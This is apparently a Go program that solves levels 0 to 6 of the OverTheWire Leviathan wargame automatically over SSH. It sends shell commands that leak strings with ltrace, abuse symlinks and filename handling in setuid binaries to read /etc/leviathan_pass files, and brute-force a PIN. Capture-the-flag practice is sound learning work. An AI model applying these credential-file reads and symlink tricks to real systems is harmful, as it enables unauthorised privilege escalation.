1 package main // import "vimagination.zapto.org/overthewire/leviathan" 2 3 import ( 4 "bytes" 5 "flag" 6 "fmt" 7 "log" 8 "os" 9 "time" 10 11 "golang.org/x/crypto/ssh" 12 13 "vimagination.zapto.org/memio" 14 ) 15 16 const ( 17 host = "leviathan.labs.overthewire.org:2223" 18 username = "leviathan%d" 19 ) 20 21 var ( 22 commands = [...][]string{ 23 //level 0 24 []string{"echo -n \"Password:\";grep leviathan .backup/bookmarks.html | sed -e 's/.* the password for leviathan1 is \\([a-zA-Z0-9]*\\).*/\\1/';exit\n"}, 25 //level 1 26 []string{ 27 "echo \"SVALUE:$(echo zzz | ltrace ./check 2>&1 | grep zzz | cut -d'\"' -f4 | tr -d '\\n')\";./check;exit\n", 28 "%s\n", 29 "echo -n \"Password:\";cat /etc/leviathan_pass/leviathan2;exit\n", 30 }, 31 //level 2 32 []string{"tmpDir=\"$(mktemp -d)\";" + 33 "chmod 777 \"$tmpDir\";" + 34 "touch \"$tmpDir/a file\";" + 35 "chmod 777 \"$tmpDir/a file\";" + 36 "ln -s /etc/leviathan_pass/leviathan3 \"$tmpDir/a\";" + 37 "chmod 777 \"$tmpDir/a\";" + 38 "echo -n \"Password:\";" + 39 "./printfile \"$tmpDir/a file\";" + 40 "rm -rf \"$tmpDir\";" + 41 "exit\n", 42 }, 43 //level 3 44 []string{ 45 "echo \"SVALUE:$(echo -e \"$(echo zzz | ltrace ./level3 2>&1 | grep zzz | cut -d'\"' -f4 | tr -d '\n')\")\";./level3;exit\n", 46 "%s\n", 47 "echo -n \"Password:\";cat /etc/leviathan_pass/leviathan4;exit\n", 48 }, 49 //level 4 50 []string{"echo -n \"Password:\";.trash/bin | tr -d ' ' | perl -lpe '$_=pack\"B*\",$_';exit\n"}, 51 //level 5 52 []string{"ln -s /etc/leviathan_pass/leviathan6 \"$(./leviathan5 | cut -d ' ' -f3)\";echo -n \"Password:\";./leviathan5;exit\n"}, 53 //level 6 54 []string{ 55 "for i in {9999..0000};do ./leviathan6 $i;done;exit\n", 56 "", // waiting for bruteforce 57 "", 58 "", 59 "", 60 "echo -n \"Password:\";cat /etc/leviathan_pass/leviathan7;exit\n", 61 }, 62 } 63 passwordBytes = []byte("Password:") 64 sValueBytes = []byte("SVALUE:") 65 newLine = []byte{'\n'} 66 ) 67 68 func main() { 69 var ( 70 level uint 71 password string 72 ) 73 74 flag.UintVar(&level, "l", 0, "level number. > 0 requires password") 75 flag.StringVar(&password, "p", "leviathan0", "password for initial level") 76 flag.Parse() 77 78 stdout := make(memio.Buffer, 0, 41) 79 80 // levels 0-24 81 82 for n, cmds := range commands[level:] { 83 n += int(level) 84 log.Printf("Level %2d: Sending Commands...\n", n) 85 86 s, err := ssh.Dial("tcp", host, &ssh.ClientConfig{ 87 User: fmt.Sprintf(username, n), 88 Auth: []ssh.AuthMethod{ssh.Password(password)}, 89 HostKeyCallback: ssh.InsecureIgnoreHostKey(), 90 }) 91 if err != nil { 92 log.Printf("Level %2d: error: %s\n", n, err) 93 return 94 } 95 96 session, err := s.NewSession() 97 if err != nil { 98 log.Printf("Level %2d: error: %s\n", n, err) 99 return 100 } else if err = session.RequestPty("vt100", 40, 80, ssh.TerminalModes{ 101 ssh.ECHO: 0, 102 ssh.TTY_OP_ISPEED: 14400, 103 ssh.TTY_OP_OSPEED: 14400, 104 }); err != nil { 105 log.Printf("Level %2d: error: %s\n", n, err) 106 return 107 } 108 109 session.Stdout = &stdout 110 session.Stderr = os.Stderr 111 wc, _ := session.StdinPipe() 112 if err = session.Shell(); err != nil { 113 log.Printf("Level %2d: error: %s\n", n, err) 114 return 115 } 116 117 for _, cmd := range cmds { 118 time.Sleep(time.Second * 2) 119 if cmd == "%s\n" { 120 p := bytes.Index(stdout, sValueBytes) 121 if p < 0 { 122 log.Printf("Level %2d: error: could not find svalue\n", n) 123 return 124 } 125 l := bytes.Index(stdout[p:], newLine) 126 if l < 0 { 127 log.Printf("Level %2d: error: could not find end of svalue\n", n) 128 return 129 } 130 cmd = fmt.Sprintf(cmd, bytes.TrimSpace(stdout[p+len(sValueBytes):p+l])) 131 } 132 _, err = wc.Write([]byte(cmd)) 133 if err != nil { 134 os.Stdout.Write(stdout) 135 log.Printf("Level %2d: error: %s\n", n, err) 136 return 137 } 138 time.Sleep(time.Second) 139 } 140 141 wc.Close() 142 session.Close() 143 s.Close() 144 145 p := bytes.Index(stdout, passwordBytes) 146 if p < 0 { 147 os.Stdout.Write(stdout) 148 log.Printf("Level %2d: error: could not find password\n", n) 149 return 150 } 151 l := bytes.Index(stdout[p:], newLine) 152 if l < 0 { 153 log.Printf("Level %2d: error: could not find end of password\n", n) 154 return 155 } 156 157 password = string(bytes.TrimSpace(stdout[p+len(passwordBytes) : p+l])) 158 159 if password == "" { 160 log.Printf("Level %2d: error: found empty password\n", n) 161 return 162 } 163 164 log.Printf("Level %2d: Password: %s\n", n, password) 165 stdout = stdout[:0] 166 } 167 }